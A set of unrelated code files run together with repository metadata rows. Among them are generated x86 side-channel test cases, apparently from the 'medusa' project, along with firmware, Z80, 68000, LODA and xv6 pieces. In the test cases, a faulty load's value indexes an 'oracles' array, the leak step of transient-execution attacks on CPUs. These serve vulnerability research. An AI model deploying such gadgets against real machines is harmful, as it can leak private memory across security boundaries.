{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'51': 610}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 28.91342 | 1,829 | 0.653691 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_610_1761.asm | 6,679 | Assembly |
include "components/console/drivers/screen48k.asm"
include "components/console/drivers/screen_layer2.asm"
include "components/console/drivers/screen_lores.asm"
include "components/console/font.asm"
include "components/console/graphics.asm"
include "components/console/keyboard.asm"
include "components/core/divide.asm"
include "components/core/farmemory.asm"
include "components/core/multiply.asm"
include "components/core/paging.asm"
include "temp/binary.asm"
include "temp/command.asm"
include "temp/console.asm"
include "temp/const.asm"
include "temp/debug.asm"
include "temp/dictionary.asm"
include "temp/loader.asm"
include "temp/memory.asm"
include "temp/miscellany.asm"
include "temp/process.asm"
include "temp/register.asm"
include "temp/stack.asm"
include "temp/unary.asm"
include "temp/wordaction.asm"
| 32.192308 | 55 | 0.782557 | [
"MIT"
] | paulscottrobson/flat | kernel/__includes.asm | 837 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x10c85, %r13
nop
and $59495, %rdi
movl $0x61626364, (%r13)
nop
nop
nop
sub %r11, %r11
lea addresses_WT_ht+0x1c2e5, %rdi
clflush (%rdi)
and %rax, %rax
mov (%rdi), %ecx
and %r13, %r13
lea addresses_D_ht+0x75f8, %r14
nop
nop
nop
nop
mfence
movb (%r14), %cl
nop
add %rax, %rax
lea addresses_normal_ht+0x1c4e5, %rdi
nop
and $16088, %rdx
vmovups (%rdi), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
nop
nop
add %r14, %r14
lea addresses_WT_ht+0xf7b5, %rsi
lea addresses_WT_ht+0x19f05, %rdi
nop
nop
nop
nop
nop
dec %rdx
mov $108, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %rax
push %rbp
push %rdi
push %rdx
push %rsi
// Store
mov $0x7ed, %rbp
nop
nop
and $21338, %rdi
mov $0x5152535455565758, %r12
movq %r12, %xmm2
movups %xmm2, (%rbp)
nop
nop
nop
nop
xor %rbp, %rbp
// Load
mov $0x2b045600000002e5, %r12
nop
nop
nop
nop
nop
dec %rsi
vmovups (%r12), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rax
nop
nop
nop
and $9792, %rsi
// Faulty Load
lea addresses_RW+0x6ae5, %rdx
sub %rsi, %rsi
mov (%rdx), %ax
lea oracles, %r15
and $0xff, %rax
shlq $12, %rax
mov (%r15,%rax,1), %rax
pop %rsi
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_P', 'AVXalign': False, 'size': 16}}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_RW', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': True, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 39.713287 | 2,999 | 0.657158 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_762.asm | 5,679 | Assembly |
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php.
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; ZeroMem.asm
;
; Abstract:
;
; ZeroMem function
;
; Notes:
;
;------------------------------------------------------------------------------
.686
.model flat,C
.mmx
.code
;------------------------------------------------------------------------------
; VOID *
; InternalMemZeroMem (
; IN VOID *Buffer,
; IN UINTN Count
; );
;------------------------------------------------------------------------------
InternalMemZeroMem PROC USES edi
mov edi, [esp + 8]
mov ecx, [esp + 12]
mov edx, ecx
shr ecx, 3
jz @ZeroBytes
pxor mm0, mm0
@@:
movq [edi], mm0
add edi, 8
loop @B
@ZeroBytes:
and edx, 7
xor eax, eax
mov ecx, edx
rep stosb
mov eax, [esp + 8]
ret
InternalMemZeroMem ENDP
END
| 25.052632 | 84 | 0.477591 | [
"MIT"
] | Axoosha/icebox | third_party/virtualbox/src/VBox/Devices/EFI/Firmware/MdePkg/Library/BaseMemoryLibMmx/Ia32/ZeroMem.asm | 1,428 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x2945, %rsi
lea addresses_D_ht+0x11195, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $23409, %rax
mov $53, %rcx
rep movsq
nop
nop
nop
xor %rdx, %rdx
lea addresses_UC_ht+0x1e595, %r13
nop
nop
nop
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %rdi
movq %rdi, (%r13)
nop
nop
nop
nop
nop
and $31008, %r13
lea addresses_D_ht+0x11875, %rsi
lea addresses_normal_ht+0x189a2, %rdi
nop
nop
cmp %r8, %r8
mov $7, %rcx
rep movsw
nop
nop
inc %rdi
lea addresses_WC_ht+0x1a816, %rsi
lea addresses_WC_ht+0x1550d, %rdi
add %rbx, %rbx
mov $59, %rcx
rep movsq
nop
nop
dec %r13
lea addresses_UC_ht+0x6d95, %rdx
nop
nop
sub $54444, %r8
mov $0x6162636465666768, %r13
movq %r13, (%rdx)
nop
nop
nop
nop
mfence
lea addresses_D_ht+0x2d3d, %rcx
nop
nop
dec %rsi
mov $0x6162636465666768, %r13
movq %r13, %xmm3
and $0xffffffffffffffc0, %rcx
vmovntdq %ymm3, (%rcx)
nop
nop
nop
sub $6151, %rdx
lea addresses_UC_ht+0xdd79, %rdx
inc %rax
movl $0x61626364, (%rdx)
nop
nop
cmp %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r8
push %r9
push %rbx
push %rdi
// Store
lea addresses_UC+0xed65, %rdi
nop
nop
nop
and $29956, %r9
movl $0x51525354, (%rdi)
nop
inc %r11
// Store
lea addresses_normal+0x14595, %r12
nop
add %r8, %r8
movb $0x51, (%r12)
nop
nop
dec %r12
// Store
mov $0x3abed400000000b7, %r8
nop
nop
nop
nop
nop
cmp %rbx, %rbx
mov $0x5152535455565758, %r12
movq %r12, (%r8)
nop
nop
xor %r14, %r14
// Faulty Load
lea addresses_D+0xcd95, %rbx
nop
nop
nop
nop
dec %r12
mov (%rbx), %edi
lea oracles, %r12
and $0xff, %rdi
shlq $12, %rdi
mov (%r12,%rdi,1), %rdi
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 35.872928 | 2,999 | 0.659633 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_363.asm | 6,493 | Assembly |
* Spreadsheet 11/03/92 O.Fink
* - file loading
include win1_keys_wwork
include win1_keys_wstatus
include win1_keys_qdos_io
include win1_keys_err
include win1_spread_file_format_keys
include win1_spread_keys
include win1_mac_oli
section prog
xdef fil_load
xref dma_quit,dma_frst
xref ut_rechp
xref setmol
xref set_nset
xref cel_topl
xref dta_prcs
xref men_main
xref.l wst_main,mv_mcnr
xref dta_vadr,mul_grid
xref cfg_cgap
*+++
* load a new spreadsheet file
*
* Entry Exit
* a0 channel of save file preserved
* a4 wwork preserved
*
* error codes: err.eof or others
* condition codes set
*---
fil_load subr a0-a3/d1-d4
; ------------------------load header-----------------------------
add.w #1,da_dupdt(a6) ; disable display
clr.w da_saved(a6)
lea da_buff(a6),a1 ; buffer
moveq #10,d2 ; fetch init words
bsr get_mulb
bne load_exit
moveq #xer_wgff,d0 ; check file format
move.w sfh_init(a1),d2 ; init word
sub.w #sfh.init,d2
bne load_exit
move.l sfh_id(a1),d2 ; application id
sub.l #sfh.id,d2
bne load_exit
moveq #xer_icfv,d0
move.l sfh_vers(a1),d2 ; file format version
move.b d2,d4 ; keep version 2 or 3 here!
cmp.l #sfh.v102,d2 ; format 2 - ignore password
beq ver_102
cmp.l #sfh.v103,d2 ; format 3 - password check first
bne load_exit
ver_103 ; check password
lea da_buff+sfh_pasw(a6),a1
moveq #4,d2 ; fetch password
bsr get_mulb
bne load_exit
ver_102 ; we skip the password
lea da_buff+sfh_cols(a6),a1 ; so load remaining header
moveq #4,d2 ; only two words left
bsr get_mulb
bne load_exit
moveq #xer_wgff,d0
move.w sfh_cols(a1),d2
beq.s loa_crsz ; current size of sheet
move.w sfh_cols(a1),da_ncols(a6) ; set new grid size
move.w sfh_rows(a1),da_nrows(a6)
xjsr forg_grd
bne.s load_exit
move.w #1,da_saved(a6)
loa_crsz
addq.w #1,da_dupdt(a6)
; --------------- load column widths ----------------------------------
move.w sfh_cols(a1),d2
beq.s loa_nocl ; no column size information
bsr get_mulb ; load column size info
bne.s load_exit
bsr loa_setcs ; set column sizes
loa_nocl
;--------------- load cell informations ------------------------------
move.l a3,-(sp)
xjsr mon_strt
loa_clp
moveq #6,d2 ; load one long word/one word
bsr get_mulb
bne.s loa_clx ; end of file reached
move.l (a1),d1
bpl.s loa_cll
bsr.s loa_env ; environment code
bra.s loa_clp
loa_cll
move.l d1,da_moncl(a6)
adda.w #6,a1
bsr.s skip_value
bsr get_strg ; get formular
bne.s loa_clx
suba.w #6,a1
bsr loa_form ; install formular
bne.s loa_clx
bra loa_clp
loa_clx
xjsr mon_stop
move.l (sp)+,a3
; --------------- redraw window ---------------------------------------
xjsr acc_calc ; recalculate
clr.w da_dupdt(a6)
xjsr rdw_grdr
xjsr rdw_grdr
moveq #0,d0
load_exit
tst.l d0
subend
skip_value subr a1/d2
cmp.b #'2',d4
blt.s skip_exit
moveq #6,d2
bsr get_mulb
skip_exit subend
; environment codes
loa_env subr a1/a5
move.w sfe_code(a1),d2 ; get environment code
bge.s env_env
bsr.s loa_macro
bra.s env_exit
env_env
lea env_tab,a5
add.w -2(a5,d2.w),a5 ; get routine address
jsr (a5) ; do it
env_exit
subend
loa_macro
move.w d2,d0
neg.w d0
subq.w #1,d0
mulu #80,d0
move.w sfm_macr(a1),d2 ; get macro length
lea mv_mcnr(a6),a1
adda.l d0,a1
move.w d2,(a1)+ ; set macro length
bsr get_mulb ; read macro
rts
env_tab dc.w env_nfmt-env_tab ; number format
dc.w env_err-env_tab ; (string format)
dc.w env_fmtn-env_tab ; format numbers on/off
dc.w env_ordr-env_tab ; entry order
dc.w env_auto-env_tab ; auto calc on/off
dc.w env_zero-env_tab ; empty when zero
dc.w env_same-env_tab ; empty if same as above
env_err
moveq #err.nimp,d0
rts
env_nfmt
move.w sfe_val(a1),da_fword(a6) ; number format
moveq #0,d0
rts
env_fmtn
move.w sfe_val(a1),da_dofmt(a6) ; format numbers on/off
moveq #0,d0
rts
env_ordr
move.w sfe_val(a1),d0 ; calculation/input order
swap d0
move.w sfe_val(a1),d0
bchg #0,d0
move.l d0,da_ordr(a6)
moveq #0,d0
rts
env_auto
move.w sfe_val(a1),da_autoc(a6) ; auto calculation on/off
moveq #0,d0
rts
env_zero
move.w sfe_val(a1),da_emptz(a6) ; empty when zero
moveq #0,d0
rts
env_same
move.w sfe_val(a1),da_esame(a6) ; empty if same as above
moveq #0,d0
rts
; install a new formular
; a1: cell nr (.l)
; format word (.w)
; formular (strg)
;
loa_form subr a0-a4/d1-d3
move.l (a1)+,d1
move.w (a1)+,d2
xjsr acc_putf
xjsr acc_fwrd
moveq #0,d0
subend
; set column sizes
loa_setcs subr a1/a3/d0/d1/d2
move.l da_mspcl(a6),a3 ; column spacing list
bra.s sz_lpe
sz_lp
move.b (a1)+,d1 ; column width in chars
ext.w d1
mulu #qs.xchar,d1 ; in pixels
addq.w #2,d1
move.w d1,wwm_size(a3) ; set hit size
move.b cfg_cgap,d0
beq.s no_gap
addq.w #2,d1
no_gap move.w d1,wwm_spce(a3) ; set space to the next
adda.w #wwm.slen,a3 ; next column
sz_lpe
dbra d2,sz_lp
subend
; a0 = channel id
; a1 = ptr to string
get_strg subr a1/d2
moveq #2,d2
bsr.s get_mulb
bne.s strg_exit
move.w (a1)+,d2
bsr.s get_mulb
strg_exit
subend
;+++
; fetch multiple bytes
;
; a0 = channel id
; a1 = buffer area
; d2 = number of bytes
;---
get_mulb subr a1/d1
moveq #iob.fmul,d0
move.l d3,-(sp)
moveq #forever,d3
trap #do.io
move.l (sp)+,d3
tst.l d0
subend
end
| 21.05694 | 72 | 0.608585 | [
"MIT"
] | olifink/qspread | src/spread/file/load.asm | 5,917 | Assembly |
; A027983: T(n,n+1) + T(n,n+2) + ... + T(n,2n), T given by A027960.
; 1,5,14,35,81,180,389,825,1726,3575,7349,15020,30561,61965,125294,252795,509161,1024100,2057549,4130225,8284926,16609455,33282989,66669660,133507081,267285605,535010414,1070731475,2142612801
mov $1,1
mov $2,4
mov $4,1
lpb $0
sub $0,1
add $5,$2
add $1,$5
mul $2,2
mov $3,$5
mov $5,$4
add $4,$3
lpe
| 23.8125 | 191 | 0.661417 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/027/A027983.asm | 381 | Assembly |
; A142550: Primes congruent to 20 mod 53.
; Submitted by Jon Maiga
; 73,179,709,1451,1663,2087,2617,3041,3253,3359,3571,3677,3889,5479,5903,6221,6857,7069,8447,9613,9719,9931,10037,10567,11839,12157,12263,12899,13217,14489,15443,15761,15973,16927,17033,17351,17669,17881,17987,18199,18517,19259,19471,19577,20107,20743,20849,21061,21379,21803,22651,24029,24877,25301,26573,26891,27103,27527,27739,28057,28163,29753,30071,30389,30707,31237,31873,32191,32297,32933,33569,34841,35053,35159,36007,36643,36749,39293,39929,40459,40883,41201,41413,41519,42473,43003,43321
mov $1,36
mov $2,$0
add $2,2
pow $2,2
lpb $2
sub $2,1
mov $3,$1
add $1,13
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,40
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
mul $0,2
sub $0,105
| 33.56 | 497 | 0.728248 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/142/A142550.asm | 839 | Assembly |
user/_pingpong: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <main>:
#include "kernel/types.h"
#include "kernel/stat.h"
#include "user.h"
int main(void)
{
0: 7179 addi sp,sp,-48
2: f406 sd ra,40(sp)
4: f022 sd s0,32(sp)
6: 1800 addi s0,sp,48
int p[2];
int t[2];
char sw[2];
sw[0] = 'c';
8: 06300793 li a5,99
c: fcf40c23 sb a5,-40(s0)
pipe(p);
10: fe840513 addi a0,s0,-24
14: 00000097 auipc ra,0x0
